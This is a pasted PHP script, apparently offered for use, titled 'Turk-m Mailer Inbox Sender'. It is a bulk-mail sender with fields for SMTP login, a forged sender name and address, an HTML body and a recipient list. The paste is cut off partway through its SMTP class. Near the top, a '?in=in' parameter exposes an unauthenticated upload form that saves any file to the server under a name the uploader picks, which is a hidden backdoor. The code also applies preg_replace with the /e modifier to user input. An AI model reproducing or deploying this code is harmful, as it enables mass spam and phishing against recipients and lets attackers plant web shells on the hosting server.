Guest User

Untitled

a guest
May 24th, 2015
236
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 100.48 KB | None | 0 0
  1. <?php
  2. # ==================================================== #
  3. # By Hadidi44 #
  4. # contact : turk-m@ymail.com #
  5. # (http://www.turk-m.com) #
  6. # ==================================================== #
  7. function query_str($params){
  8. $str = '';
  9. foreach ($params as $key => $value) {
  10. $str .= (strlen($str) < 1) ? '' : '&';
  11. $str .= $key . '=' . rawurlencode($value);
  12. }
  13. return ($str);
  14. }
  15. function lrtrim($string){
  16. return stripslashes(ltrim(rtrim($string)));
  17. }
  18. $in = $_GET['in']; if($in == 'in'){
  19. $filename = $_FILES['file']['name'];
  20. $filetmp = $_FILES['file']['tmp_name'];
  21. echo "<form method='POST' enctype='multipart/form-data'>
  22. <input type='file'name='file' />
  23. <input type='submit' value='go' />
  24. </form>";
  25. move_uploaded_file($filetmp,$filename);
  26. }
  27. if(isset($_POST['action'] ) ){
  28.  
  29. $b = query_str($_POST);
  30. parse_str($b);
  31. $sslclick=lrtrim($sslclick);
  32. $action=lrtrim($action);
  33. $message=lrtrim($message);
  34. $emaillist=lrtrim($emaillist);
  35. $from=lrtrim($from);
  36. $reconnect=lrtrim($reconnect);
  37. $epriority=lrtrim($epriority);
  38. $my_smtp=lrtrim($my_smtp);
  39. $ssl_port=lrtrim($ssl_port);
  40. $smtp_username=lrtrim($smtp_username);
  41. $smtp_password=lrtrim($smtp_password);
  42. $replyto=lrtrim($replyto);
  43. $subject=lrtrim($subject);
  44. $realname=lrtrim($realname);
  45. $subject_base=lrtrim($subject);
  46. $realname_base=lrtrim($realname);
  47. $file_name=lrtrim($file);
  48. $urlz=lrtrim($urlz);
  49. $contenttype=lrtrim($contenttype);
  50. $encode_text=$_POST['encode'];
  51.  
  52. $message = urlencode($message);
  53. $message = ereg_replace("%5C%22", "%22", $message);
  54. $message = urldecode($message);
  55. $message = stripslashes($message);
  56. $subject = stripslashes($subject);
  57. if ($encode_text == "yes") {
  58. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  59. $subject = str_replace(' ', '_', $subject);
  60. $subject = "=?UTF-8?Q?$subject?=";
  61. $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  62. $realname = str_replace(' ', '_', $realname);
  63. $realname = "=?UTF-8?Q?$realname?=";
  64. }
  65. }
  66. ?>
  67. <html>
  68.  
  69. <head>
  70. <title>PHP Mailer</title>
  71. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  72.  
  73. <style type="text/css">
  74. <!--
  75. .style1 {
  76. font-family: Geneva, Arial, Helvetica, sans-serif;
  77. font-size: 12px;
  78. }
  79. -->
  80. </style>
  81. <style type="text/css">
  82. <!--
  83. .style1 {
  84. font-size: 10px;
  85. font-family: Geneva, Arial, Helvetica, sans-serif;
  86. }
  87. -->
  88. </style>
  89. </head>
  90. <body text="#000000">
  91. <p align="center"><font size="5" face="Bauhaus 93">Turk-m Mailer Inbox Sender</font><font color="#FFFFFF" size="5" face="Bauhaus 93">Hadidi44</font></p>
  92. <form name="form1" method="post" action="" enctype="multipart/form-data">
  93.  
  94. <br>
  95.  
  96. <table width="100%" border="0" height="407">
  97.  
  98. <tr>
  99.  
  100. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  101.  
  102. <b>
  103.  
  104. <font face="Arial" size="2" color="#FFFFFF">&nbsp;SERVER SETUP</font></b></td>
  105.  
  106. </tr>
  107. <tr>
  108.  
  109. <td width="10%" height="22" bgcolor="#E8E8E8">
  110.  
  111. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  112. SMTP Login:</font></div>
  113.  
  114. </td>
  115.  
  116. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  117.  
  118. <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  119.  
  120. </font></td>
  121.  
  122. <td width="31%" height="22" bgcolor="#E8E8E8">
  123.  
  124. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  125. SMTP Pass:</font></div>
  126.  
  127. </td>
  128.  
  129. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  130.  
  131. <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  132.  
  133. </font></td>
  134.  
  135. </tr>
  136. <tr>
  137.  
  138. <td width="10%" height="22" bgcolor="#E8E8E8">
  139.  
  140. <div align="right">
  141. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  142.  
  143. </td>
  144.  
  145. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  146.  
  147. <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  148. (optional)</font></td>
  149.  
  150. <td width="31%" height="22" bgcolor="#E8E8E8">
  151.  
  152. <div align="right">
  153. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
  154. Server Smtp:</font></div>
  155.  
  156. </td>
  157.  
  158. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  159.  
  160. <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  161.  
  162. </font></td>
  163.  
  164. </tr>
  165. <tr>
  166.  
  167. <td width="10%" height="22" bgcolor="#E8E8E8">
  168.  
  169. <p align="right">
  170. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  171.  
  172. <td width="18%" height="22" bgcolor="#E8E8E8">
  173. <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  174.  
  175. <td width="31%" height="22" bgcolor="#E8E8E8">
  176.  
  177. <p align="right">
  178. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  179. After:</font></td>
  180.  
  181. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  182.  
  183. <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
  184. EMAILS</font></td>
  185.  
  186. </tr>
  187. <tr>
  188.  
  189. <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
  190.  
  191. <p align="center">
  192. <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  193. you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  194.  
  195. </tr>
  196.  
  197. <tr>
  198.  
  199. <td width="10%" height="19">
  200.  
  201. &nbsp;</td>
  202.  
  203. <td width="18%" height="19">&nbsp;</td>
  204.  
  205. <td width="31%" height="19">
  206.  
  207. &nbsp;</td>
  208.  
  209. <td width="41%" height="19">&nbsp;</td>
  210.  
  211. </tr>
  212.  
  213. <tr>
  214.  
  215. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  216.  
  217. <b>
  218.  
  219. <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  220.  
  221. </tr>
  222.  
  223. <tr>
  224.  
  225. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  226.  
  227. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  228. Your Email:</font></div>
  229.  
  230. </td>
  231.  
  232. <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  233.  
  234. <input type="text" name="from" value="<?=$from;?>" size="30">
  235.  
  236. </font></td>
  237.  
  238. <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  239.  
  240. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  241. Your Name:</font></div>
  242.  
  243. </td>
  244.  
  245. <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  246.  
  247. <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
  248.  
  249. </font></td>
  250.  
  251. </tr>
  252. <tr>
  253.  
  254. <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  255.  
  256. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  257. Reply-To:</font></div>
  258.  
  259. </td>
  260.  
  261. <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  262.  
  263. <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
  264.  
  265. </font></td>
  266.  
  267. <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  268.  
  269. <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  270. Email Priority:</font></td>
  271.  
  272. <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  273.  
  274. &nbsp;</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
  275. <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
  276. Please Choose -</option>
  277. <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  278. <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  279. <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  280. </select></td>
  281.  
  282. </tr>
  283.  
  284. <tr>
  285.  
  286. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  287.  
  288. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  289. Subject:</font></div>
  290.  
  291. </td>
  292.  
  293. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  294.  
  295. <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
  296.  
  297. </font></td>
  298.  
  299. </tr>
  300.  
  301. <tr>
  302.  
  303. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  304.  
  305. &nbsp;</td>
  306.  
  307. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  308.  
  309. &nbsp; <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
  310. <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  311. <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  312. </select></font></td>
  313.  
  314. </tr>
  315.  
  316. <tr valign="top">
  317.  
  318. <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  319.  
  320. <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
  321.  
  322. <br>
  323.  
  324. <input type="radio" name="contenttype" value="plain" >
  325.  
  326. Plain
  327.  
  328. <input type="radio" name="contenttype" value="html" checked>
  329.  
  330. HTML
  331.  
  332. <input type="hidden" name="action" value="send">
  333.  
  334. <input type="submit" value="Send Message">
  335.  
  336. </font></td>
  337.  
  338. <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  339.  
  340. <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
  341.  
  342. </font></td>
  343.  
  344. </tr>
  345.  
  346. </table>
  347.  
  348. </form>
  349.  
  350.  
  351.  
  352. <?
  353.  
  354. if ($action){
  355. if (!$from && !$subject && !$message && !$emaillist){
  356. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  357. die(); }
  358.  
  359. class SMTP
  360. {
  361. /**
  362. * SMTP server port
  363. * @var int
  364. */
  365. var $SMTP_PORT = 25;
  366.  
  367. /**
  368. * SMTP reply line ending
  369. * @var string
  370. */
  371. var $CRLF = "\r\n";
  372.  
  373. /**
  374. * Sets whether debugging is turned on
  375. * @var bool
  376. */
  377. var $do_debug; # the level of debug to perform
  378.  
  379. /**
  380. * Sets VERP use on/off (default is off)
  381. * @var bool
  382. */
  383. var $do_verp = false;
  384.  
  385. /**#@+
  386. * @access private
  387. */
  388. var $smtp_conn; # the socket to the server
  389. var $error; # error if any on the last call
  390. var $helo_rply; # the reply the server sent to us for HELO
  391. /**#@-*/
  392.  
  393. /**
  394. * Initialize the class so that the data is in a known state.
  395. * @access public
  396. * @return void
  397. */
  398. function SMTP() {
  399. $this->smtp_conn = 0;
  400. $this->error = null;
  401. $this->helo_rply = null;
  402.  
  403. $this->do_debug = 0;
  404. }
  405.  
  406. /*************************************************************
  407. * CONNECTION FUNCTIONS *
  408. ***********************************************************/
  409.  
  410. /**
  411. * Connect to the server specified on the port specified.
  412. * If the port is not specified use the default SMTP_PORT.
  413. * If tval is specified then a connection will try and be
  414. * established with the server for that number of seconds.
  415. * If tval is not specified the default is 30 seconds to
  416. * try on the connection.
  417. *
  418. * SMTP CODE SUCCESS: 220
  419. * SMTP CODE FAILURE: 421
  420. * @access public
  421. * @return bool
  422. */
  423. function Connect($host,$port=0,$tval=30) {
  424. # set the error val to null so there is no confusion
  425. $this->error = null;
  426.  
  427. # make sure we are __not__ connected
  428. if($this->connected()) {
  429. # ok we are connected! what should we do?
  430. # for now we will just give an error saying we
  431. # are already connected
  432. $this->error = array("error" => "Already connected to a server");
  433. return false;
  434. }
  435.  
  436. if(empty($port)) {
  437. $port = $this->SMTP_PORT;
  438. }
  439.  
  440. #connect to the smtp server
  441. $this->smtp_conn = fsockopen($host, # the host of the server
  442. $port, # the port to use
  443. $errno, # error number if any
  444. $errstr, # error message if any
  445. $tval); # give up after ? secs
  446. # verify we connected properly
  447. if(empty($this->smtp_conn)) {
  448. $this->error = array("error" => "Failed to connect to server",
  449. "errno" => $errno,
  450. "errstr" => $errstr);
  451. if($this->do_debug >= 1) {
  452. echo "SMTP -> ERROR: " . $this->error["error"] .
  453. ": $errstr ($errno)" . $this->CRLF;
  454. }
  455. return false;
  456. }
  457.  
  458. # sometimes the SMTP server takes a little longer to respond
  459. # so we will give it a longer timeout for the first read
  460. // Windows still does not have support for this timeout function
  461. if(substr(PHP_OS, 0, 3) != "WIN")
  462. socket_set_timeout($this->smtp_conn, $tval, 0);
  463.  
  464. # get any announcement stuff
  465. $announce = $this->get_lines();
  466.  
  467. # set the timeout of any socket functions at 1/10 of a second
  468. //if(function_exists("socket_set_timeout"))
  469. // socket_set_timeout($this->smtp_conn, 0, 100000);
  470.  
  471. if($this->do_debug >= 2) {
  472. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  473. }
  474.  
  475. return true;
  476. }
  477.  
  478. /**
  479. * Performs SMTP authentication. Must be run after running the
  480. * Hello() method. Returns true if successfully authenticated.
  481. * @access public
  482. * @return bool
  483. */
  484. function Authenticate($username, $password) {
  485. // Start authentication
  486. fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  487.  
  488. $rply = $this->get_lines();
  489. $code = substr($rply,0,3);
  490.  
  491. if($code != 334) {
  492. $this->error =
  493. array("error" => "AUTH not accepted from server",
  494. "smtp_code" => $code,
  495. "smtp_msg" => substr($rply,4));
  496. if($this->do_debug >= 1) {
  497. echo "SMTP -> ERROR: " . $this->error["error"] .
  498. ": " . $rply . $this->CRLF;
  499. }
  500. return false;
  501. }
  502.  
  503. // Send encoded username
  504. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  505.  
  506. $rply = $this->get_lines();
  507. $code = substr($rply,0,3);
  508.  
  509. if($code != 334) {
  510. $this->error =
  511. array("error" => "Username not accepted from server",
  512. "smtp_code" => $code,
  513. "smtp_msg" => substr($rply,4));
  514. if($this->do_debug >= 1) {
  515. echo "SMTP -> ERROR: " . $this->error["error"] .
  516. ": " . $rply . $this->CRLF;
  517. }
  518. return false;
  519. }
  520.  
  521. // Send encoded password
  522. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  523.  
  524. $rply = $this->get_lines();
  525. $code = substr($rply,0,3);
  526.  
  527. if($code != 235) {
  528. $this->error =
  529. array("error" => "Password not accepted from server",
  530. "smtp_code" => $code,
  531. "smtp_msg" => substr($rply,4));
  532. if($this->do_debug >= 1) {
  533. echo "SMTP -> ERROR: " . $this->error["error"] .
  534. ": " . $rply . $this->CRLF;
  535. }
  536. return false;
  537. }
  538.  
  539. return true;
  540. }
  541.  
  542. /**
  543. * Returns true if connected to a server otherwise false
  544. * @access private
  545. * @return bool
  546. */
  547. function Connected() {
  548. if(!empty($this->smtp_conn)) {
  549. $sock_status = socket_get_status($this->smtp_conn);
  550. if($sock_status["eof"]) {
  551. # hmm this is an odd situation... the socket is
  552. # valid but we are not connected anymore
  553. if($this->do_debug >= 1) {
  554. echo "SMTP -> NOTICE:" . $this->CRLF .
  555. "EOF caught while checking if connected";
  556. }
  557. $this->Close();
  558. return false;
  559. }
  560. return true; # everything looks good
  561. }
  562. return false;
  563. }
  564.  
  565. /**
  566. * Closes the socket and cleans up the state of the class.
  567. * It is not considered good to use this function without
  568. * first trying to use QUIT.
  569. * @access public
  570. * @return void
  571. */
  572. function Close() {
  573. $this->error = null; # so there is no confusion
  574. $this->helo_rply = null;
  575. if(!empty($this->smtp_conn)) {
  576. # close the connection and cleanup
  577. fclose($this->smtp_conn);
  578. $this->smtp_conn = 0;
  579. }
  580. }
  581.  
  582. /***************************************************************
  583. * SMTP COMMANDS *
  584. *************************************************************/
  585.  
  586. /**
  587. * Issues a data command and sends the msg_data to the server
  588. * finializing the mail transaction. $msg_data is the message
  589. * that is to be send with the headers. Each header needs to be
  590. * on a single line followed by a <CRLF> with the message headers
  591. * and the message body being seperated by and additional <CRLF>.
  592. *
  593. * Implements rfc 821: DATA <CRLF>
  594. *
  595. * SMTP CODE INTERMEDIATE: 354
  596. * [data]
  597. * <CRLF>.<CRLF>
  598. * SMTP CODE SUCCESS: 250
  599. * SMTP CODE FAILURE: 552,554,451,452
  600. * SMTP CODE FAILURE: 451,554
  601. * SMTP CODE ERROR : 500,501,503,421
  602. * @access public
  603. * @return bool
  604. */
  605. function Data($msg_data) {
  606. $this->error = null; # so no confusion is caused
  607.  
  608. if(!$this->connected()) {
  609. $this->error = array(
  610. "error" => "Called Data() without being connected");
  611. return false;
  612. }
  613.  
  614. fputs($this->smtp_conn,"DATA" . $this->CRLF);
  615.  
  616. $rply = $this->get_lines();
  617. $code = substr($rply,0,3);
  618.  
  619. if($this->do_debug >= 2) {
  620. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  621. }
  622.  
  623. if($code != 354) {
  624. $this->error =
  625. array("error" => "DATA command not accepted from server",
  626. "smtp_code" => $code,
  627. "smtp_msg" => substr($rply,4));
  628. if($this->do_debug >= 1) {
  629. echo "SMTP -> ERROR: " . $this->error["error"] .
  630. ": " . $rply . $this->CRLF;
  631. }
  632. return false;
  633. }
  634.  
  635. # the server is ready to accept data!
  636. # according to rfc 821 we should not send more than 1000
  637. # including the CRLF
  638. # characters on a single line so we will break the data up
  639. # into lines by \r and/or \n then if needed we will break
  640. # each of those into smaller lines to fit within the limit.
  641. # in addition we will be looking for lines that start with
  642. # a period '.' and append and additional period '.' to that
  643. # line. NOTE: this does not count towards are limit.
  644.  
  645. # normalize the line breaks so we know the explode works
  646. $msg_data = str_replace("\r\n","\n",$msg_data);
  647. $msg_data = str_replace("\r","\n",$msg_data);
  648. $lines = explode("\n",$msg_data);
  649.  
  650. # we need to find a good way to determine is headers are
  651. # in the msg_data or if it is a straight msg body
  652. # currently I am assuming rfc 822 definitions of msg headers
  653. # and if the first field of the first line (':' sperated)
  654. # does not contain a space then it _should_ be a header
  655. # and we can process all lines before a blank "" line as
  656. # headers.
  657. $field = substr($lines[0],0,strpos($lines[0],":"));
  658. $in_headers = false;
  659. if(!empty($field) && !strstr($field," ")) {
  660. $in_headers = true;
  661. }
  662.  
  663. $max_line_length = 998; # used below; set here for ease in change
  664.  
  665. while(list(,$line) = @each($lines)) {
  666. $lines_out = null;
  667. if($line == "" && $in_headers) {
  668. $in_headers = false;
  669. }
  670. # ok we need to break this line up into several
  671. # smaller lines
  672. while(strlen($line) > $max_line_length) {
  673. $pos = strrpos(substr($line,0,$max_line_length)," ");
  674.  
  675. # Patch to fix DOS attack
  676. if(!$pos) {
  677. $pos = $max_line_length - 1;
  678. }
  679.  
  680. $lines_out[] = substr($line,0,$pos);
  681. $line = substr($line,$pos + 1);
  682. # if we are processing headers we need to
  683. # add a LWSP-char to the front of the new line
  684. # rfc 822 on long msg headers
  685. if($in_headers) {
  686. $line = "\t" . $line;
  687. }
  688. }
  689. $lines_out[] = $line;
  690.  
  691. # now send the lines to the server
  692. while(list(,$line_out) = @each($lines_out)) {
  693. if(strlen($line_out) > 0)
  694. {
  695. if(substr($line_out, 0, 1) == ".") {
  696. $line_out = "." . $line_out;
  697. }
  698. }
  699. fputs($this->smtp_conn,$line_out . $this->CRLF);
  700. }
  701. }
  702.  
  703. # ok all the message data has been sent so lets get this
  704. # over with aleady
  705. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  706.  
  707. $rply = $this->get_lines();
  708. $code = substr($rply,0,3);
  709.  
  710. if($this->do_debug >= 2) {
  711. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  712. }
  713.  
  714. if($code != 250) {
  715. $this->error =
  716. array("error" => "DATA not accepted from server",
  717. "smtp_code" => $code,
  718. "smtp_msg" => substr($rply,4));
  719. if($this->do_debug >= 1) {
  720. echo "SMTP -> ERROR: " . $this->error["error"] .
  721. ": " . $rply . $this->CRLF;
  722. }
  723. return false;
  724. }
  725. return true;
  726. }
  727.  
  728. /**
  729. * Expand takes the name and asks the server to list all the
  730. * people who are members of the _list_. Expand will return
  731. * back and array of the result or false if an error occurs.
  732. * Each value in the array returned has the format of:
  733. * [ <full-name> <sp> ] <path>
  734. * The definition of <path> is defined in rfc 821
  735. *
  736. * Implements rfc 821: EXPN <SP> <string> <CRLF>
  737. *
  738. * SMTP CODE SUCCESS: 250
  739. * SMTP CODE FAILURE: 550
  740. * SMTP CODE ERROR : 500,501,502,504,421
  741. * @access public
  742. * @return string array
  743. */
  744. function Expand($name) {
  745. $this->error = null; # so no confusion is caused
  746.  
  747. if(!$this->connected()) {
  748. $this->error = array(
  749. "error" => "Called Expand() without being connected");
  750. return false;
  751. }
  752.  
  753. fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  754.  
  755. $rply = $this->get_lines();
  756. $code = substr($rply,0,3);
  757.  
  758. if($this->do_debug >= 2) {
  759. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  760. }
  761.  
  762. if($code != 250) {
  763. $this->error =
  764. array("error" => "EXPN not accepted from server",
  765. "smtp_code" => $code,
  766. "smtp_msg" => substr($rply,4));
  767. if($this->do_debug >= 1) {
  768. echo "SMTP -> ERROR: " . $this->error["error"] .
  769. ": " . $rply . $this->CRLF;
  770. }
  771. return false;
  772. }
  773.  
  774. # parse the reply and place in our array to return to user
  775. $entries = explode($this->CRLF,$rply);
  776. while(list(,$l) = @each($entries)) {
  777. $list[] = substr($l,4);
  778. }
  779.  
  780. return $list;
  781. }
  782.  
  783. /**
  784. * Sends the HELO command to the smtp server.
  785. * This makes sure that we and the server are in
  786. * the same known state.
  787. *
  788. * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  789. *
  790. * SMTP CODE SUCCESS: 250
  791. * SMTP CODE ERROR : 500, 501, 504, 421
  792. * @access public
  793. * @return bool
  794. */
  795. function Hello($host="") {
  796. $this->error = null; # so no confusion is caused
  797.  
  798. if(!$this->connected()) {
  799. $this->error = array(
  800. "error" => "Called Hello() without being connected");
  801. return false;
  802. }
  803.  
  804. # if a hostname for the HELO was not specified determine
  805. # a suitable one to send
  806. if(empty($host)) {
  807. # we need to determine some sort of appopiate default
  808. # to send to the server
  809. $host = "localhost";
  810. }
  811.  
  812. // Send extended hello first (RFC 2821)
  813. if(!$this->SendHello("EHLO", $host))
  814. {
  815. if(!$this->SendHello("HELO", $host))
  816. return false;
  817. }
  818.  
  819. return true;
  820. }
  821.  
  822. /**
  823. * Sends a HELO/EHLO command.
  824. * @access private
  825. * @return bool
  826. */
  827. function SendHello($hello, $host) {
  828. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  829.  
  830. $rply = $this->get_lines();
  831. $code = substr($rply,0,3);
  832.  
  833. if($this->do_debug >= 2) {
  834. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  835. }
  836.  
  837. if($code != 250) {
  838. $this->error =
  839. array("error" => $hello . " not accepted from server",
  840. "smtp_code" => $code,
  841. "smtp_msg" => substr($rply,4));
  842. if($this->do_debug >= 1) {
  843. echo "SMTP -> ERROR: " . $this->error["error"] .
  844. ": " . $rply . $this->CRLF;
  845. }
  846. return false;
  847. }
  848.  
  849. $this->helo_rply = $rply;
  850.  
  851. return true;
  852. }
  853.  
  854. /**
  855. * Gets help information on the keyword specified. If the keyword
  856. * is not specified then returns generic help, ussually contianing
  857. * A list of keywords that help is available on. This function
  858. * returns the results back to the user. It is up to the user to
  859. * handle the returned data. If an error occurs then false is
  860. * returned with $this->error set appropiately.
  861. *
  862. * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  863. *
  864. * SMTP CODE SUCCESS: 211,214
  865. * SMTP CODE ERROR : 500,501,502,504,421
  866. * @access public
  867. * @return string
  868. */
  869. function Help($keyword="") {
  870. $this->error = null; # to avoid confusion
  871.  
  872. if(!$this->connected()) {
  873. $this->error = array(
  874. "error" => "Called Help() without being connected");
  875. return false;
  876. }
  877.  
  878. $extra = "";
  879. if(!empty($keyword)) {
  880. $extra = " " . $keyword;
  881. }
  882.  
  883. fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  884.  
  885. $rply = $this->get_lines();
  886. $code = substr($rply,0,3);
  887.  
  888. if($this->do_debug >= 2) {
  889. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  890. }
  891.  
  892. if($code != 211 && $code != 214) {
  893. $this->error =
  894. array("error" => "HELP not accepted from server",
  895. "smtp_code" => $code,
  896. "smtp_msg" => substr($rply,4));
  897. if($this->do_debug >= 1) {
  898. echo "SMTP -> ERROR: " . $this->error["error"] .
  899. ": " . $rply . $this->CRLF;
  900. }
  901. return false;
  902. }
  903.  
  904. return $rply;
  905. }
  906.  
  907. /**
  908. * Starts a mail transaction from the email address specified in
  909. * $from. Returns true if successful or false otherwise. If True
  910. * the mail transaction is started and then one or more Recipient
  911. * commands may be called followed by a Data command.
  912. *
  913. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  914. *
  915. * SMTP CODE SUCCESS: 250
  916. * SMTP CODE SUCCESS: 552,451,452
  917. * SMTP CODE SUCCESS: 500,501,421
  918. * @access public
  919. * @return bool
  920. */
  921. function Mail($from) {
  922. $this->error = null; # so no confusion is caused
  923.  
  924. if(!$this->connected()) {
  925. $this->error = array(
  926. "error" => "Called Mail() without being connected");
  927. return false;
  928. }
  929.  
  930. $useVerp = ($this->do_verp ? "XVERP" : "");
  931. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  932.  
  933. $rply = $this->get_lines();
  934. $code = substr($rply,0,3);
  935.  
  936. if($this->do_debug >= 2) {
  937. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  938. }
  939.  
  940. if($code != 250) {
  941. $this->error =
  942. array("error" => "MAIL not accepted from server",
  943. "smtp_code" => $code,
  944. "smtp_msg" => substr($rply,4));
  945. if($this->do_debug >= 1) {
  946. echo "SMTP -> ERROR: " . $this->error["error"] .
  947. ": " . $rply . $this->CRLF;
  948. }
  949. return false;
  950. }
  951. return true;
  952. }
  953.  
  954. /**
  955. * Sends the command NOOP to the SMTP server.
  956. *
  957. * Implements from rfc 821: NOOP <CRLF>
  958. *
  959. * SMTP CODE SUCCESS: 250
  960. * SMTP CODE ERROR : 500, 421
  961. * @access public
  962. * @return bool
  963. */
  964. function Noop() {
  965. $this->error = null; # so no confusion is caused
  966.  
  967. if(!$this->connected()) {
  968. $this->error = array(
  969. "error" => "Called Noop() without being connected");
  970. return false;
  971. }
  972.  
  973. fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  974.  
  975. $rply = $this->get_lines();
  976. $code = substr($rply,0,3);
  977.  
  978. if($this->do_debug >= 2) {
  979. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  980. }
  981.  
  982. if($code != 250) {
  983. $this->error =
  984. array("error" => "NOOP not accepted from server",
  985. "smtp_code" => $code,
  986. "smtp_msg" => substr($rply,4));
  987. if($this->do_debug >= 1) {
  988. echo "SMTP -> ERROR: " . $this->error["error"] .
  989. ": " . $rply . $this->CRLF;
  990. }
  991. return false;
  992. }
  993. return true;
  994. }
  995.  
  996. /**
  997. * Sends the quit command to the server and then closes the socket
  998. * if there is no error or the $close_on_error argument is true.
  999. *
  1000. * Implements from rfc 821: QUIT <CRLF>
  1001. *
  1002. * SMTP CODE SUCCESS: 221
  1003. * SMTP CODE ERROR : 500
  1004. * @access public
  1005. * @return bool
  1006. */
  1007. function Quit($close_on_error=true) {
  1008. $this->error = null; # so there is no confusion
  1009.  
  1010. if(!$this->connected()) {
  1011. $this->error = array(
  1012. "error" => "Called Quit() without being connected");
  1013. return false;
  1014. }
  1015.  
  1016. # send the quit command to the server
  1017. fputs($this->smtp_conn,"quit" . $this->CRLF);
  1018.  
  1019. # get any good-bye messages
  1020. $byemsg = $this->get_lines();
  1021.  
